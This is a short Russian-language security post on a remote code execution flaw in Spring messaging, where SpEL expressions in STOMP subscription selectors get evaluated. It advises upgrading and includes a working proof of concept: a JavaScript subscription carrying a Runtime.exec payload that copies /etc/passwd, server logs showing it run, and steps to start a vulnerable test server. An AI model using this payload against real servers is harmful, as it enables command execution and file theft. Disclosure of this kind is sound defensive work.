
Удалённое выполнение кода (RCE) через протокол STOMP в Spring messaging
Вчера Spring объявил об одной RCE-уязвимости, давайте разберемся:
Затронутые версии
Эта уязвимость не требует особых условий; если вы используете spring-messaging + websocket + STOMP, пожалуйста, как можно скорее обновитесь до последней версии; если вы используете SpringBoot, обновитесь до 2.0.1.RELEASE.
Проще говоря, из-за того, что StandardEvaluationContext имеет слишком широкие права и может выполнять произвольные SpEL-выражения, после Spring 5.0.5 официально добавили SimpleEvaluationContext для реализации простого связывания данных, сохраняя гибкость без угрозы безопасности.
spring-messaging предоставляет поддержку протокола STOMP, позволяя клиентам подписываться на сообщения и использовать селектор для фильтрации сообщений, например
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
Когда вы подписываетесь, spring сохраняет этот фильтр и запускает его при получении сообщения клиентом, например
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Скриншот PoC

Подробный анализ уязвимости будет опубликован позже
Соберите и запустите сервер Spring Boot
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
Откройте браузер и введите выражение для тестирования
http://localhost:8080
